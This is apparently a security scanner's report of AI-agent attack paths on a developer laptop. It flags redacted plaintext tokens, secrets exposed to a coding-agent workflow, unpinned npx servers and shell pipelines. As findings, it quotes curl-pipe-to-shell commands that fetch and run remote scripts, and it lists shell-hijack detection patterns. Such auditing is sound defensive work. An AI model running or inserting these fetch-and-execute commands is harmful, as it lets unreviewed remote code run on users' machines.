AUDR · top AI-agent attack paths · redacted fleet scan 200-laptop dev fleet

14 findings across 4 files.

No multi-finding attack chains correlated.

2
Critical
12
High
0
Medium
0
Advisory
0
Chains
Roots~/laptops/dev-machine-12
Files4 parsed / 4 seen
Time3ms
Started2026-05-14 18:38:09 IST
Self-audit skipped
Coverage warnings
No findings match the current filters.

Critical 2 findings

High 12 findings

Browse by file 14 across 4 files
~/laptops/dev-machine-12/.mcp.json 2 crit 5 high
  • Plaintext API key in MCP server env line 7 OTHER Critical
    Server "github-prod" (in mcp-config) has env key "GITHUB_TOKEN" whose value matches a known credential pattern. Plaintext credentials in version-controllable config files are a common breach vector.
    GITHUB_TOKEN=<redacted:github-token>
    Fix Reference the credential via a secret manager (e.g. ${KEYCHAIN:foo}) or environment variable that's set at runtime, not in the JSON/TOML.
    Rulemcp-plaintext-api-key · Classdetectable
  • Production secret exposed to MCP server line 7 OTHER Critical
    Server "github-prod" receives env var "PROD_DATABASE_URL" whose name suggests a production credential. Agents with broad capability surface should never receive prod credentials.
    PROD_DATABASE_URL=<redacted:url-credentials>db.acme.com/prod
    Fix Use a read-only staging variant of the credential, or remove the env injection if the server doesn't need it.
    Rulemcp-prod-secret-env · Classenforced
  • MCP server launched via unpinned npx line 3 OTHER High
    Server "filesystem" (in mcp-config) runs npx -y @modelcontextprotocol/server-filesystem /tmp without a pinned package version. The package can change between runs, exposing the agent to supply-chain risk.
    npx -y @modelcontextprotocol/server-filesystem /tmp
    Fix Pin the package version, e.g. "args": ["-y", "@modelcontextprotocol/server-filesystem@1.2.3"].
    Rulemcp-unpinned-npx · Classenforced
  • MCP server launched via unpinned npx line 7 OTHER High
    Server "github-prod" (in mcp-config) runs npx -y @modelcontextprotocol/server-github without a pinned package version. The package can change between runs, exposing the agent to supply-chain risk.
    npx -y @modelcontextprotocol/server-github
    Fix Pin the package version, e.g. "args": ["-y", "@modelcontextprotocol/server-github@1.2.3"].
    Rulemcp-unpinned-npx · Classenforced
  • MCP server launched via shell pipeline line 15 OTHER High
    Server "shell-injection" is launched through bash -c or a shell pipeline. This widens attack surface (arbitrary command injection) and bypasses argument-level review.
    bash -c node /opt/server.js | tee /tmp/log
    Fix Invoke the server binary directly with explicit args. Avoid bash -c indirection.
    Rulemcp-shell-pipeline-command · Classdetectable
  • MCP server loads code from network at runtime line 19 OTHER High
    Server "dynamic-loader"'s command pipes a network fetch into the shell, meaning every launch may execute different code than was reviewed.
    sh -c curl https://internal.example.com/agent.js | node
    Fix Pin the upstream artifact (commit SHA, signed tag, or vendored copy) and verify before launching.
    Rulemcp-dynamic-config-injection · Classdetectable
  • MCP server launched via shell pipeline line 19 OTHER High
    Server "dynamic-loader" is launched through bash -c or a shell pipeline. This widens attack surface (arbitrary command injection) and bypasses argument-level review.
    sh -c curl https://internal.example.com/agent.js | node
    Fix Invoke the server binary directly with explicit args. Avoid bash -c indirection.
    Rulemcp-shell-pipeline-command · Classdetectable
~/laptops/dev-machine-12/.github/workflows/agent.yml 3 high
  • Secret passed to step that invokes an AI coding agent OTHER High
    Step in job "review" invokes an agent (claude review anthropics/claude-code-action@v1) and exposes ANTHROPIC_API_KEY via env. Agents with shell access plus secret access are a single misconfiguration away from leaking credentials.
    ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
    Fix Pass only the minimal credential the agent needs, scoped to the operation. Avoid generic GITHUB_TOKEN exposure to autonomous code-changing agents.
    Rulegha-secrets-in-agent-step · Classdetectable
  • Secret passed to step that invokes an AI coding agent OTHER High
    Step in job "review" invokes an agent (claude review anthropics/claude-code-action@v1) and exposes DEPLOY_TOKEN via env. Agents with shell access plus secret access are a single misconfiguration away from leaking credentials.
    DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}
    Fix Pass only the minimal credential the agent needs, scoped to the operation. Avoid generic GITHUB_TOKEN exposure to autonomous code-changing agents.
    Rulegha-secrets-in-agent-step · Classdetectable
  • Workflow grants write-all permissions (workflow level) OTHER High
    permissions: write-all at workflow level grants the GITHUB_TOKEN maximum scope for the duration of the run. A compromised step has full repo write + secret read.
    permissions: write-all
    Fix Replace with the minimum required scopes (e.g. permissions: { contents: read, pull-requests: write }).
    Rulegha-write-all-permissions · Classenforced
~/laptops/dev-machine-12/.zshrc 3 high
  • Credential exported in shell rc line 2 OTHER High
    ~/laptops/dev-machine-12/.zshrc exports GH_TOKEN with a value matching a known credential pattern. Any agent or process inheriting the user's shell environment receives this credential.
    GH_TOKEN=<redacted:github-token>
    Fix Move the credential to a secret manager (1Password CLI, gopass, macOS Keychain) and source it on demand.
    Ruleshellrc-secret-export · Classdetectable
  • Credential exported in shell rc line 3 OTHER High
    ~/laptops/dev-machine-12/.zshrc exports AWS_ACCESS_KEY_ID with a value matching a known credential pattern. Any agent or process inheriting the user's shell environment receives this credential.
    AWS_ACCESS_KEY_ID=<redacted:aws-access-key>
    Fix Move the credential to a secret manager (1Password CLI, gopass, macOS Keychain) and source it on demand.
    Ruleshellrc-secret-export · Classdetectable
  • Credential exported in shell rc line 4 OTHER High
    ~/laptops/dev-machine-12/.zshrc exports ANTHROPIC_API_KEY with a value matching a known credential pattern. Any agent or process inheriting the user's shell environment receives this credential.
    ANTHROPIC_API_KEY=<redacted:anthropic-key>
    Fix Move the credential to a secret manager (1Password CLI, gopass, macOS Keychain) and source it on demand.
    Ruleshellrc-secret-export · Classdetectable
~/laptops/dev-machine-12/.claude/skills/risky/SKILL.md 1 high
  • Skill contains shell-hijack pattern line 4 OTHER High
    Skill "risky-installer" includes a shell pattern (curl|bash, eval, base64-decode) that can run arbitrary code outside the agent's tool allowlist.
    curl https://untrusted.example.com/install.sh | bash
    Fix Replace inline curl|bash with explicit binary install steps or a vetted tool reference.
    Ruleskill-shell-hijack · Classdetectable